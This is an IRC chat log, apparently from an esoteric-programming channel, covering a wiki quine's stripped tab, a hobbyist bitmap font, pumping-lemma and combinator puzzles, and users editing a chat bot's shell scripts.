18:23:36 <int-e> izabera: hmm. "The result of attempting to indirectly access an object with thread storage duration from a thread other than the one with which the object is associated is implementation-defined" -- I guess this means that an implementation may use the same address for all errno-s. (but as far as I can tell, gcc doesn't do that)
18:24:26 <quintopia> could someone go to the aubergine article and check that there is a tab character at the end of the quine example?
18:25:00 <Taneb> HTML does weird things with spaces
18:25:21 <quintopia> dammit. i think it's stripping the tab somehow
18:26:36 <int-e> Is it still the predecessor of a quine?
18:26:54 <\oren\> maybe just put the hex dump of the quine
18:27:08 <quintopia> it prints its listing...and crashes the interpreter. with the tab at the end it halts successfully
18:28:11 <quintopia> It's the wiki software that's stripping the tab, not the browser
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18:28:34 <HackEgo> [wiki] [[Aubergine]] http://esolangs.org/w/index.php?diff=45411&oldid=45373 * Quintopia * (+1) /* Examples */
18:29:01 <quintopia> Apparently, it just blindly trim()s the submission
18:29:16 <Taneb> Yeah, there's some sort of space character on that that is either a tab or a double-width space
18:29:19 <quintopia> I need to edit the whole Examples section instead of just the quine subsection to ensure it stays
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18:30:24 <quintopia> Oh I know how to ensure no one breaks it again
18:31:09 <HackEgo> [wiki] [[Aubergine]] http://esolangs.org/w/index.php?diff=45412&oldid=45411 * Quintopia * (+99) /* Quine */
18:31:43 <quintopia> Now it's not whitespace at the end of the section, so even if the section is edited, it won't be trimmed
18:37:03 <\oren\> I added the following characters:
18:37:17 <Taneb> Those are characters which I do not have
18:39:08 <\oren\> I don't see any news abaut an attack toady
18:41:59 <b_jonas> \oren\: nice, so you added that character with nine lines
18:42:21 <\oren\> izabera: or did you not hear about the Friday attacks until today?
18:42:27 <b_jonas> \oren\: I also see you've added the other kana repeat marks
18:43:16 <\oren\> and I added the medical kanji that boily requested
18:44:15 <\oren\> oh apparently there was a flase alarm of gunshots today
18:44:23 <int-e> I find a headline about a panic in Paris today, connected to a bang, but no concrete information yet.
18:44:58 <b_jonas> \oren\: by the way, I wonder if you should make 一 and ー more easily distinguishable, because both those characters are common, so that could help proofreading Japanese text
19:01:38 <b_jonas> I know they actually do look the same in some fonts, but still
19:04:38 <b_jonas> \oren\: question. how many such Hanzi do you have in the font that are not used in Japanese or are very rare in Japanese? and how do you choose those Hanzi? Have you read enough Chinese to know what characters are common, or have someone else requested them?
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19:17:59 <\oren\> b_jonas: I have sevearl that are easy to draw, and some that were requested
19:20:05 <\oren\> also in a few cases a character is in the Joyo kanji list but its radical isn't, but I drew the radical any way
19:28:44 <\oren\> 丽 is not a joyo kanji but 麗 (which I haven't drawn yet) is
19:31:35 <\oren\> on the other hand 卍卐 are just easy to draw
19:32:43 <myname> just draw a white square instead of the second kanji. nobody will ever see the difference
19:33:33 <b_jonas> \oren\: how about 儿 ? that was the one that made me ask this question, because you've added it very early
19:34:22 <\oren\> that one I happen to know is used a lot in mandarin for "erhua" after a word
19:34:34 <\oren\> also, it's easy to draw
19:34:44 <b_jonas> yes, I guess being a radical and being easy to draw has some correlation
19:35:33 <b_jonas> myname: you can see it in oren's font in http://www.orenwatson.be/fontdemo.htm
19:39:34 <HackEgo> [wiki] [[Aubergine/aubergine.py]] N http://esolangs.org/w/index.php?oldid=45413 * Quintopia * (+3953) Created page with "This is an implementation of [[Aubergine]] in Python by [[User:Quintopia]]. There are no frills or flags to make debugging easier, though error messages are fairly robust. Int..."
19:41:43 <\oren\> oh... maybe some fonts omit 卐 because of association with the Nazis
19:42:12 <b_jonas> \oren\: or maybe the fonts just don't have all the uncommon characters
19:42:19 <\oren\> (I was unaware the nazis used one particular orientation)
19:43:41 <b_jonas> \oren\: people keep saying that they used one particular orientation, but since they used that symbol on flags, on many flags you'd see either orientation depending on the side you're watching from, so it's probably just vexillogy pedants that say this, and in practice you'd see either orientation
19:44:14 <b_jonas> Sure, maybe you'd see one orientation in official documents printed by the nazis, but it's not like people don't associate both orientations with them.
19:44:29 <b_jonas> (hmm, is there an arrow-cross hanzi too?)
19:45:49 <HackEgo> [wiki] [[Aubergine/aubergine.py]] http://esolangs.org/w/index.php?diff=45414&oldid=45413 * Quintopia * (+175) Ruby impl does not allow o except in =
19:48:15 <\oren\> I see. I don't see a character for the arrow cross in the wikipedia article.
19:48:37 <zzo38> Nazi are using diagonal orientation, I think
19:49:35 <HackEgo> [wiki] [[Aubergine]] http://esolangs.org/w/index.php?diff=45415&oldid=45412 * Quintopia * (+77) /* Implementations */
19:50:15 <\oren\> zzo38: true, but I meant the orientation like which way it spins
19:51:11 <b_jonas> zzo38: diagonal orientation would look strange in a kanji
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20:02:02 <zzo38> I know it is strange in the kanji, but the diagonal orientation is not the kanji and therefore need not be included in a kanji font.
20:03:59 <\oren\> I don't think it even has a code point
20:06:42 <b_jonas> \oren\: sure it has one. unicode has all kinds of crazy emoji and symbols these days
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20:41:03 <zzo38> Whether or not it has a code point defined in Unicode, you can optionally include it in a font or not; if you are using Unicode encoding of the font and you include such things which aren't defined in Unicode then you will need to assign your own numbers (such as using the Unicode private use area)
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20:53:51 <\oren\> heh. 商 looks like aguy wearing a hat shouting
20:54:37 <int-e> Is there a canonical example for a language that is not regular but has the pumping property? The simplest I have so far is strings over {a,b} that contain the same number of a-s and b-s, and furthermore do not contain aaa nor bbb as a substring.
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20:59:07 * int-e is working with this "general" version of the pumping lemma: https://en.wikipedia.org/wiki/Pumping_lemma_for_regular_languages#General_version_of_pumping_lemma_for_regular_languages
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22:00:14 <hppavilion[1]> I really hope it's the second one; that's the one my parser recognizes
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22:09:26 <b_jonas> hppavilion[1]: usually the second one, SKI means (SK)I, like in Haskell
22:12:01 <b_jonas> hppavilion[1]: http://esolangs.org/wiki/Combinatory_logic
22:13:12 <hppavilion[1]> b_jonas: Yes, I know, I made most of the grunt work on that page xD
22:13:32 <hppavilion[1]> The entire list of TMaMb combinators was translated by me xD
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22:20:34 <hppavilion[1]> And how do you have "Identity bird, once removed"?
22:24:43 <FireFly> S(SK)yz = (SK) z (y z) = S K z (y z) = K (y z) (z (y z)) = y z
22:25:27 <HackEgo> [wiki] [[Aubergine/aubergine.py]] http://esolangs.org/w/index.php?diff=45416&oldid=45414 * Quintopia * (+56) Python has arbitrary-size integers? Who knew?
22:29:44 <quintopia> anyone want a copy of dont starve together?
22:30:07 <Jafet> @check \y z -> ap (ap const) y z == y z
22:30:10 <lambdabot> No instance for (Typeable a0) arising from a use of ‘myquickcheck’
22:30:10 <lambdabot> In the first argument of ‘text’, namely ‘(myquickcheck (\ y z -> ap (ap cons...
22:30:35 <Jafet> @check \y z -> ap (ap const) y z == (y (z :: Int) :: Int)
22:30:38 <lambdabot> Couldn't match type ‘Int -> a0’ with ‘Int’
22:30:38 <lambdabot> Expected type: Int -> Int -> Int Actual type: (Int -> a0) -> Int -> Int In t...
22:31:28 -!- oerjan has joined.
22:31:38 <Jafet> @check \y z -> ap (ap const) y z == (y (z :: Int -> Int) :: Int)
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22:33:58 <Taneb> quintopia, sure, I guess
22:35:35 <HackEgo> [wiki] [[Combinatory logic]] http://esolangs.org/w/index.php?diff=45417&oldid=44733 * Hppavilion1 * (+276) Alternative primitives, see also
22:36:10 <HackEgo> [wiki] [[Combinatory logic]] http://esolangs.org/w/index.php?diff=45418&oldid=45417 * Hppavilion1 * (+0) /* See also */ Link fixed
22:38:02 <HackEgo> [wiki] [[Probabilistic combinatory logic]] M http://esolangs.org/w/index.php?diff=45419&oldid=45377 * Hppavilion1 * (+6) Minor changes
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22:52:44 <oerjan> <\oren\> ooh, I hope you have everything backed up <-- erm... maybe not too recently.
22:54:01 <oerjan> on the bright side, it looks better now, after i managed to run chkdsk. i had to run it from an automatic recovery version because the direct one crashed.
22:54:24 <oerjan> although IE lost all cookies and the logs, not the first time...
22:58:04 <oerjan> i'm going to give windows the benefit of the doubt that the reboots were due to a fatal error rather than an unprompted scheduling.
22:58:17 <oerjan> well, the first one. the rest obviously were.
22:58:38 <Taneb> The other day I accidentally stayed awake until Windows suddenly decided that it was time for a SCHEDULED REBOOT
22:59:04 <oerjan> and if things are still wrong i'll try the recovery which should work now (it refused before because chkdsk wouldn't run)
22:59:26 <oerjan> Taneb: i initially thought that was what happened yesterday.
23:02:04 * int-e sighs... trying to find a copy of http://dx.doi.org/10.3233/FI-2009-0070 ...
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23:13:58 <oerjan> int-e: at least they're offering you to buy it
23:14:50 <oerjan> do you have an expenses budget you can put it on
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23:16:49 <oerjan> eek IE isn't working right :(
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23:18:57 <int-e> I guess the right thing to do is to email the author.
23:23:36 <oerjan> aww IE also wiped out the visited link db
23:24:10 <oerjan> (the one thing it preserved for some reason was the url bar suggestions)
23:24:27 <oerjan> of non-permanent data, that is
23:24:35 <shachaf> good opportunity to switch browsers hth
23:25:07 <oerjan> shachaf: it's not IE's fault that something messed up part of the disk
23:25:21 <shachaf> naturally i'm referring to Microsoft® Edge®
23:25:33 * oerjan hits shachaf with the saucepan ===\__/
23:26:38 <oerjan> anyway i consider IE likely to be an innocent bystander in what happened.
23:27:21 <oerjan> there's a messed up update waiting to be retried, i vaguely recall those have caused unwanted reboots in the past.
23:32:50 <HackEgo> [wiki] [[Merucik]] http://esolangs.org/w/index.php?diff=45420&oldid=45313 * Hppavilion1 * (+0) fixed spelling of "Brainfuck"
23:38:36 <int-e> it is the preferred spelling for the wiki though, afair
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23:44:18 <oerjan> <quintopia> oerjan: how do you feel about CHIQRSX9+ being used in code golf competitions? (In particular, in the seven competitions it has a good chance of winning.) <-- "not my problem if they allow it" hth
23:46:21 <Jafet> You know, Q is unnecessary in a quine competition.
23:46:59 <Taneb> Code golf: instantiate an object of a new subclass of the generic superclass, and also increment the accumulator twice
23:48:19 <oerjan> Jafet: it's very useful for a "print n copies of the program interspersed with Qs", though. i think. there may be restrictions on n.
23:50:17 <oerjan> you can print square numbers of Qs...
23:51:48 <oerjan> n^2 = (i+1)*n - 1 hm i sense a problem
23:58:10 <int-e> Taneb: sorry, did you specify a programming language?
23:58:23 <Taneb> int-e, no, but the hint is HQ9++
23:58:26 <fungot> int-e: wait... did you think of death as infinitely bad, if i happen to work out
23:59:00 <shachaf> how come no one ever told me about fractran tdnh
23:59:11 <Taneb> If fungot goes to the gym, does Pascal's Wager go the other way?
23:59:12 <fungot> Taneb: it seems prometheus objects are circular data structures
23:59:13 <int-e> Taneb: Oh. I'm not sure I ever saw that one. (I did know HQ9 and HQ9+)
23:59:20 <quintopia> oerjan: PCG will allow it as soon as a deterministic interpreter exists I think. Just have X be a TM simulator instead
00:04:24 <oerjan> quintopia: i feel that a deterministic X is against the spirit of the language.
00:05:19 <quintopia> oerjan: what if I found a seed for random numbers such that the current implementation becomes a TM simulator
00:06:04 <oerjan> because that would essentially make the part after X part of CHIQRSX9+ itself.
00:06:22 <int-e> fungot: wait, are you saying that working out leads to death? I mean, okay, it's not wrong, but it is awful marketing nonetheless.
00:06:23 <fungot> int-e: even ignoring the bootstrapping issues ( which yasos makes difficult while t does not contain any intelligible finnish words. reality. distortion. field. you can inflect adjectives, but that's not the lisp way of function application, to support thread interruption and user repl interruption. it costs like fnord a lot
00:06:33 <oerjan> quintopia: the current implementation is a perl simulator if you get 0, hth
00:07:28 <oerjan> ...i suggest you look at it...
00:07:29 <int-e> "(The Perl implementation generates a random number, adds it to each character in the program, and interprets the resulting program code as Perl code.)"
00:07:44 <int-e> (or read ... and believe ... the wiki)
00:08:02 <quintopia> i was thinking it just executed the output of the random number generator directly
00:08:36 <oerjan> <shachaf> how come no one ever told me about fractran tdnh <-- my apologies
00:08:55 <int-e> that would be interesting but less obviously turing complete... in fact, unlikely to be turing complete... uh, hard to say... but there's not much entropy to work with.
00:09:33 <quintopia> well we're not supposed to know whether or not it is actually turing-complete anyway
00:10:15 <quintopia> I suppose one could write a program in the current version that is a TM simulator regardless of the random number
00:10:51 <quintopia> just make the part that becomes legible perl code consider the rest of the program a comment or string
00:11:13 <int-e> shachaf: fwiw, I've seen oerjan talk about fractran quite a bit
00:11:15 <oerjan> quintopia: no, that is not possible; you always risk the first character becoming a perl syntax error. (e.g. a right parenthesis)
00:11:26 <fungot> Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc* iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp youtube
00:11:59 <shachaf> int-e: i must not have been paying attention
00:12:27 <int-e> fungot's irc is the uncanny semi-sentient style... where one can typically read half a sentence before noticing anything wrong
00:12:34 <oerjan> nope. it's a modulo 256 addition and all numbers 0 <= n < 256 are possible
00:12:38 <int-e> fungot: well, that was a bit cheap
00:12:39 <fungot> int-e: i don't play ircnomic any more either side of the force, of course. i just need to find out how to
00:13:08 <int-e> fungot: anyway, good luck with finding that out
00:13:08 <fungot> int-e: that name fnord not the only) languages where the very nature *is* to be esoteric.... seems like it was before i moved here
00:13:35 <FireFly> int-e: that first response was just beautiful
00:13:38 <oerjan> quintopia: although you could try to aim for maximal probability of being accepted...
00:14:02 <FireFly> `quoteadd <int-e> fungot's irc is the uncanny semi-sentient style... where one can typically read half a sentence before noticing anything wrong <fungot> int-e: yes, i know
00:14:02 <fungot> FireFly: how do i pipe darcs' output to it? if it matters
00:14:03 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: quoteadd: not found
00:14:06 <int-e> (it's not that the other styles are that bad, but they do stand out more)
00:14:11 <quintopia> oerjan: what does the current implementation do if such a syntax error is encountered?
00:14:17 <FireFly> `addquote <int-e> fungot's irc is the uncanny semi-sentient style... where one can typically read half a sentence before noticing anything wrong <fungot> int-e: yes, i know
00:14:17 <fungot> FireFly: all planets are in the order of evaluation? isn't that like saying sociology is mostly english and not writing anything
00:14:19 <HackEgo> 1259) <int-e> fungot's irc is the uncanny semi-sentient style... where one can typically read half a sentence before noticing anything wrong <fungot> int-e: yes, i know
00:14:26 <quintopia> oerjan: is there no way to catch such an error?
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00:14:59 <int-e> FireFly: that's mean, my grammar there is worse than fungot's.
00:15:00 <fungot> int-e: you sensitive twit. if a robot collides with a piece of c folklore now. compiler implementors still talk of " mimicing monty python sketches, of course, my owner has to find any
00:15:11 <oerjan> quintopia: whatever perl's eval does, so i'm not sure...
00:15:27 <oerjan> `perl -e eval(")"); eval(print "hi");
00:15:44 <oerjan> int-e: ah it does at least continue with the remaining commands.
00:15:56 <oerjan> (assuming it works as in my test)
00:16:07 <oerjan> that _might_ be enough to make it work?
00:16:10 <FireFly> a twit is someone who twiits
00:16:43 <FireFly> Probably someone who twitters
00:16:54 <int-e> a twitter is someone who turns people into twits
00:17:06 <FireFly> Ah yes, the act of twittering
00:17:56 <shachaf> oerjan: to be fair, int-e never told me about it either
00:18:07 <oerjan> hm i've not thought about that before, the implementation will _still_ interpret everything after X as commands, too
00:18:12 <FireFly> Fractran is an interesting language
00:18:18 <oerjan> including further Xes.
00:18:33 <int-e> (fwiw, 'twit' is an actual english word)
00:20:53 <lambdabot> *** "twit" wn "WordNet (r) 3.0 (2006)"
00:20:53 <lambdabot> n 1: someone who is regarded as contemptible [syn: {twerp},
00:20:53 <lambdabot> 2: aggravation by deriding or mocking or criticizing [syn:
00:20:59 <lambdabot> *** "twitter" wn "WordNet (r) 3.0 (2006)"
00:21:01 <lambdabot> n 1: a series of chirps [syn: {chirrup}, {twitter}]
00:21:03 <lambdabot> v 1: make high-pitched sounds, as of birds [syn: {chitter},
00:22:07 <int-e> "aggravation by deriding or mocking or criticizing" <-- that does sound like a fair description of twitter(.com).
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00:22:45 <FireFly> Oh, you figured it out. The true etymology
00:24:03 <oerjan> quintopia: actually the implementation errors out at unknown commands, that makes this harder i think.
00:24:58 <oerjan> !chiqrsx9+ XXXXXXXXXXXXX
00:25:29 <oerjan> !chiqrsx9+ XXXXXXXXXXXXXQ
00:25:40 <EgoBot> Sorry, I have no help for interps!
00:25:46 <EgoBot> languages: Esoteric: 1l 2l adjust asm axo bch befunge befunge98 bf bf8 bf16 bf32 boolfuck cintercal clcintercal dimensifuck glass glypho haskell kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl. Competitive: bfjoust fyb. Other: asm c cxx forth sh.
00:25:57 <EgoBot> Installed user interpreters: _ about acro aol austro bc bct bf2c bfbignum botsnack brit brooklyn bypass_ignore bytes cat chaos chiqrsx9p choo cmd cpick ctcp dc decide drawl drome dubya echo ehird elmer fudd glogbot_ignore google graph hello helloworld hug id inc insanetemp jethro kraut lg lperl lsh map monqy num numberwang ook pansy pi pikhq ping pirate plot postmodern postmodern_aoler prefixes python python2 redneck reverse rimshot rot13 rot47 ruby_ sadbf san
00:26:09 <oerjan> !chiqrsx9p XXXXXXXXXXXXX
00:26:14 <oerjan> !chiqrsx9p XXXXXXXXXXXXXQ
00:28:35 <oerjan> oh wait it _does_ clear the program.
00:31:23 <quintopia> oerjan: it clears the program and then adds the empty program to the random number?
00:31:44 <quintopia> doesn't sound even *theoretically* TC
00:32:42 <int-e> well you can test all seeds ;)
00:34:16 <quintopia> oh you mean an error clears the program
00:36:37 <int-e> soo... would a machine be Turing-complete if any program had only a 2^(-32) chance of running correctly? This kind of adversarial randomness is quite unusual...
00:37:37 <int-e> (Usually you'd get a chance detect and retry a failed computation, but I don't see how this would work here)
00:38:36 <quintopia> the earliest programmable computers quit working if a moth flew into them...
00:39:08 <quintopia> I suppose the odds they produced a correct result was greater than 2^(-32) but I also think it is in this case
00:44:16 <int-e> Hmm, I guess I'm thinking in terms of models of computation; the point of those is to abstract from hardware failures and resource limitations. In that context, probabilistic models typically allow to get success probabilities arbitrarily close to one, usually by retrying a procedure with a fixed success probability often enough.
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00:45:46 <int-e> But that's perhaps narrow-minded... people trying to guess pin codes are happy even with low success probabilities if they have enough debit cards at their disposal.
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01:12:57 <int-e> somehow this made me smile... http://www.surlyqueen.net/loas/2015/03/05/558-somewhere/
01:17:54 <oerjan> <quintopia> oh you mean an error clears the program <-- i mean an X clears the program after running the rest as perl, error or not.
01:20:45 <oerjan> that's what i intended, i just didn't realize on rereading the code that i'd succeeded.
01:21:23 <oerjan> well, ideally maybe errors should be propagated too.
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02:11:38 <quintopia> oerjan: so the whole "keep executing after an error" is a bust. Which means there is some maximum p<1 probability the X will do anything useful.
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02:37:01 <HackEgo> Nose such file or directory
02:37:43 <oerjan> because all wisdom/ is case lowered by default
02:38:01 <oerjan> and boily for some reason rejected that
02:38:14 <oerjan> well it means it will never show up with `? that way
02:38:32 * oerjan considers `wisdom borderline heresy
02:39:17 <HackEgo> F="$(find wisdom/*"$1"* -type f | shuf -n1)"; echo -n "${F#wisdom/}/" | rnooodl; cat "$F" | rnooodl
02:40:02 <oerjan> `` sed -i 's/shuf/grep -v "[A-Z]" | shuf' bin/wisdom
02:40:03 <HackEgo> sed: -e expression #1, char 29: unterminated `s' command
02:40:11 <oerjan> `` sed -i 's/shuf/grep -v "[A-Z]/" | shuf' bin/wisdom
02:40:12 <HackEgo> sed: -e expression #1, char 23: unknown option to `s'
02:40:23 <oerjan> `` sed -i 's/shuf/grep -v "[A-Z]" | shuf/' bin/wisdom
02:40:31 <HackEgo> F="$(find wisdom/*"$1"* -type f | grep -v "[A-Z]" | shuf -n1)"; echo -n "${F#wisdom/}/" | rnooodl; cat "$F" | rnooodl
02:40:43 -!- Vinegar has quit (Ping timeout: 250 seconds).
02:42:06 <oerjan> `` find wisdom/"*wisdom*" -type f
02:42:07 <HackEgo> find: `wisdom/*wisdom*': No such file or directory
02:42:17 <oerjan> `` find wisdom/*"wisdom"* -type f
02:42:19 <HackEgo> wisdom/something-that-isn't-in-hackego's-wisdom \ wisdom/wisdom \ wisdom/wisdome
02:42:47 <izabera> it's also wrong in that it should use -name
02:43:01 <izabera> `` find wisdom -name "*wisdom*" -type f
02:43:02 <HackEgo> wisdom/something-that-isn't-in-hackego's-wisdom \ wisdom/wisdome \ wisdom/wisdom
02:43:32 <oerjan> `` ls wisdom/* | grep '[*]'
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02:44:13 <HackEgo> brainf**k/There is no such thing as brainf**k. You may be thinking of brainfuck.
02:44:24 <izabera> the whole point of find over a shell glob in cases like this is to avoid E2BIG
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02:45:59 <oerjan> yes, but it would break the vital case of `wisdom ** hth
02:46:34 <izabera> i wouldn't say "break" tho
02:46:57 <oerjan> admittedly it's sort of properly ironic.
02:48:13 <HackEgo> #!/bin/sh \ topic=$(echo "$1" | lowercase | sed "s/noo\+dl/nooodl/;s/ *$//") \ topic1=$(echo "$topic" | sed "s/s$//") \ cd wisdom \ if [ \( "$topic1" = "ngevd" \) -a \( -e ngevd \) ]; \ then cat /dev/urandom; \ elif [ -e "$topic" ]; \ then cat "$topic" | rnooodl; \ elif [ -e "$topic1" ]; \ then cat "$topic1" | rnooodl; \
02:48:28 <HackEgo> F="$(find wisdom/*"$1"* -type f | grep -v "[A-Z]" | shuf -n1)"; echo -n "${F#wisdom/}/" | rnooodl; cat "$F" | rnooodl
02:49:30 <HackEgo> nooodl is the correct spelling
02:49:34 <HackEgo> nooooodl is the correct spelling
02:49:45 <FireFly> izabera: rnooodl is a very important program
02:49:57 <HackEgo> perl -pe 's/([Nn])ooodl/"$1@{[o x(3+rand 7)]}dl"/ge'
02:50:04 <oerjan> `mk/x bin/wisdom//F="$(find wisdom -name "*"$(echo "$1" | lowercase)"*" -type f | shuf -n1)"; echo -n "${F#wisdom/}/" | rnooodl; cat "$F" | rnooodl
02:50:05 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/mk/x: No such file or directory
02:50:15 <oerjan> `mkx bin/wisdom//F="$(find wisdom -name "*"$(echo "$1" | lowercase)"*" -type f | shuf -n1)"; echo -n "${F#wisdom/}/" | rnooodl; cat "$F" | rnooodl
02:50:29 <HackEgo> something-that-isn't-in-hackego's-wisdom/It is now.
02:50:38 <HackEgo> key=$(mk "$@") && echo "$key" && chmod +x "$key"
02:51:18 <oerjan> `wisdom misspellings of
02:51:19 <HackEgo> find: paths must precede expression: of* \ Usage: find [-H] [-L] [-P] [-Olevel] [-D help|tree|search|stat|rates|opt|exec] [path...] [expression] \ /cat: : No such file or directory
02:52:05 <HackEgo> cat: bin/nooodl: No such file or directory
02:52:09 <HackEgo> cat: bin/noodl: No such file or directory
02:52:13 <oerjan> `mkx bin/wisdom//F="$(find wisdom -name "*""$(echo "$1" | lowercase)""*" -type f | shuf -n1)"; echo -n "${F#wisdom/}/" | rnooodl; cat "$F" | rnooodl
02:52:18 <oerjan> `wisdom misspellings of
02:52:19 <HackEgo> misspellings of croissant/misspellings of crosant? ¯\(°_o)/¯
02:52:26 <\oren\> I'm working on making a program to autogenerate my font character inventory page
02:52:40 <izabera> i thought it was auto generated already
02:52:53 <\oren\> No, I just add characters manually each time
02:53:11 <oerjan> hm that looks redundant
02:53:19 <\oren\> which is why sometimes there are errors like characters in the font but not on the page, or vice versa
02:53:26 <oerjan> `mkx bin/wisdom//F="$(find wisdom -name "*$(echo "$1" | lowercase)*" -type f | shuf -n1)"; echo -n "${F#wisdom/}/" | rnooodl; cat "$F" | rnooodl
02:53:30 <oerjan> `wisdom misspellings of
02:53:31 <HackEgo> misspellings of croissant/misspellings of crosant? ¯\(°_o)/¯
02:53:39 <HackEgo> tanebventory/The Tanebventory is big. Really big. For one thing, it contains a Hilbert hotel.
02:53:39 <izabera> do you mean generating it via php every time it's requested?
02:54:19 <izabera> i mean it probably won't overload your server but still <.<
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02:56:01 <HackEgo> friendship/friendship wisdom
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03:07:55 <\oren\> izabera: nah, i'll generate it each time I upload a new version of my font.
03:13:13 <izabera> i wrote this: http://arin.ga/anwWvN/raw
03:13:28 <izabera> it's one of the best pieces of bash code i've ever written
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03:14:29 <izabera> wrote it to show how clear looking bash can be (and there's a hidden trick that makes it possible and that trick is the part i'm proud of)
03:16:04 <izabera> if you find it you win a unicorn*
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03:16:15 <izabera> *unicorn is pink and invisible
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03:35:45 <FireFly> I guess that is a global `return`, seems kinda icky
03:36:03 <deltab> another way to return is echo and $( )
03:37:20 <deltab> use of "$@" to pass on all args?
03:37:36 <izabera> that's... just what $@ does?
03:37:58 <izabera> anyway every variable you affect in $( ) is lost afterwards
03:38:12 <izabera> so you can't swap things in the array with $( )
03:39:46 <izabera> anyway the trick is to use $A[i] in (( ))
03:39:54 <deltab> the name of the array being passed in
03:40:26 <izabera> $A[i] is not an array, $A expands to the name, followed by [i]
03:40:31 <izabera> and (( )) uses it as an array
03:40:37 <izabera> so that's the magic thing \o/
03:42:09 <izabera> but it looks so natural :D
03:44:18 <\oren\> http://www.orenwatson.be/allchars.htm
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03:45:43 <\oren\> or in my better spelling system DerR
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03:47:29 <FireFly> Neat.. your font supports some characters that render incorrectly for me in the .txt file
03:47:33 <\oren\> izabera: some are glitched
03:48:03 <izabera> there's a missing one in the 4th line from the bottom in the chineese characters rectangle
03:48:14 <HackEgo> U+1F16 - No such unicode character name in database \ UTF-8: e1 bc 96 UTF-16BE: 1f16 Decimal: ἖ \ () \ Uppercase: U+1F16 \ Category: Cn (Other, Not Assigned) \ \ U+1F17 - No such unicode character name in database \ UTF-8: e1 bc 97 UTF-16BE: 1f17 Decimal: ἗ \ () \ Uppercase: U+1F17 \ Category: Cn (Other, Not Assigne
03:48:44 <FireFly> Oh, maybe you have some private-use characters?
03:48:48 <izabera> \oren\: you should add a sample text to show it
03:48:50 <\oren\> these two I drew based on the pattern set by the others in its block
03:50:06 <\oren\> some characters are private use, others I simply stole from innocent blocks for my own use
03:51:38 <\oren\> e.g. ➀➁➂➃➄➅➆➇➈➉ which I drew instead as lowercase numbers
03:53:35 <izabera> add a sample $language text near the $language characters
03:53:45 <FireFly> OTF has ways to encode alternate character sets for things like text numerals
03:54:39 <\oren\> I try to stay far away from things like that
03:55:13 <\oren\> hard enough to draw all these characters without mucking with various technicalia
03:57:16 <\oren\> what's a good sample text
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04:02:29 <deltab> http://www.cl.cam.ac.uk/~mgk25/unicode.html#examples
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04:07:19 <lifthrasiir> I just imagined a pan-Unicode bitmap font which is initially randomly constructed then optimized so that each glyph has a distinct shape (even by one pixel) while minimizing the differences to the source font
04:16:47 <\oren\> http://www.orenwatson.be/fontdemo.htm << updated with some sample texts
04:17:27 <izabera> what does the runes one say?
04:18:38 <\oren\> it's the first stanza of this http://www.ragweedforge.com/rpaa.html
04:35:47 <\oren\> anyway, the autogeneration rpgram is here http://www.orenwatson.be/ttfinvread.htm
04:36:35 <izabera> please use a syntax highlighter that understands 0x80
04:41:02 <izabera> you check newlinemode in a loop but you never change its value inside of it
04:41:53 <\oren\> newlinemode is used to determine when a newline should be used, to format the characters into rows
04:42:27 <\oren\> mode 0 is used for areas of scattered characters like the chinese
04:42:44 <\oren\> mode 1 is used for blocks of characters that are all defines
04:48:30 <lifthrasiir> \oren\: what is a purpose of U+038D and U+03A2?
04:48:38 <lifthrasiir> (looking at http://www.orenwatson.be/allchars.htm )
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05:12:36 <oerjan> fizzie: Gregor: did esolangs.org's certificate just expire
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05:23:19 <pikhq> Gregor: fizzie: I hear Let's Encrypt exists.
05:25:40 <izabera> meaning you need an invite
05:27:09 <\oren\> lifthrasiir: it's a maker's mark
05:53:31 <lifthrasiir> \oren\: I know, I wondered what U+038D reads (it actually said VER 8 in the vertical reading) at first. now the question is: why is it there? :)
06:00:50 <\oren\> because originally I was usign fontstruct.com to make my font, and it doesn't support the privat euse area
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06:15:26 <lifthrasiir> \oren\: are you interested in supporting all Hanguls?
06:17:09 <oerjan> *sigh* my computer rebooted again.
06:17:10 <\oren\> not until i finish all joyo kanji
06:17:46 <oerjan> then i did a stupid choice that i too late realized would wipe out much _more_ than i intended - and somehow it failed to go through.
06:18:09 <oerjan> now let's see if i can find the recovery option i actually wanted.
06:19:42 <oerjan> fuck, the recovery points have been wiped out.
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06:24:03 <\oren\> shut it down and boot a rescue disk, backup your shit
06:24:54 <oerjan> an interesting proposition, if i had a rescue disk.
06:26:19 <oerjan> i have one, somewhere. no idea where it is after the move.
06:26:50 <\oren\> alternatively, can you transplant the drive into a working computer?
06:27:06 <oerjan> i have only one computing device
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06:30:37 <\oren\> hmmm... hard to do without a second computer, but you could maybe burn a disk at an internet cafe?
06:31:19 <^v> i am creating my most esoteric language yet
06:31:20 <oerjan> please stop making suggestions.
06:31:28 <^v> consisting of only ^ and v
06:31:37 <^v> i finnaly decided how its going to work
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06:37:58 <^v> :< This server could not prove that it is esolangs.org; its security certificate expired 1 day(s) ago.
06:38:59 <HackEgo> [wiki] [[Special:Log/newusers]] create * PixelToast * New user account
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08:18:46 <Taneb> `? people who taneb is not
08:18:48 <HackEgo> elliott, a rabbi, Mark Zuckerberg, James Bond
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08:25:03 <shachaf> Taneb: is that a complete list?
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08:42:47 <oerjan> hmph it is downloading that broken upgrade again...
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08:55:17 <b_jonas> \oren\: oh nice, you've improved the sample page
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09:00:35 <b_jonas> \oren\: in the autogenerated list of all characters, can you list the total count of glyphs you have in the font, computed automatically?
09:02:37 <b_jonas> \oren\: also, in the sample texts, can you add some Serbian or Macedonian etc text that shows off the ј and ѓ characters?
09:03:17 <b_jonas> \oren\: incidentally, does the cyrillic Ј and the latin J look the same in your font?
09:04:35 <b_jonas> \oren\: also, do the cyrillic Ѕ and І look the same as the latin S and I resp?
09:10:21 <b_jonas> make that s/the ј and ѓ characters/the ј, ѓ, љ, њ characters/
09:11:19 <fizzie> oerjan: Oh, I saw an expiration warning from StartSSL but didn't think of esolangs.org. Annoying.
09:12:32 <fizzie> I'd really prefer let senc rypt, but their public beta doesn't start until Dec 3rd.
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11:00:14 <fungot> b_jonas: and if it still is.
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12:12:50 <fizzie> fungot: What's your favourite woodwind instrument?
12:12:50 <fungot> fizzie: you probably know, but that wasn't my point, of course. that's what lexical scope is highly useful for debugging which you can only move in fnord in slib.
12:13:13 <fizzie> fungot: No, I don't know, that's why was asking.
12:13:13 <fungot> fizzie: too far? what's that
12:14:03 <boily> Concerto in Fnord minor for a Lexical Scope.
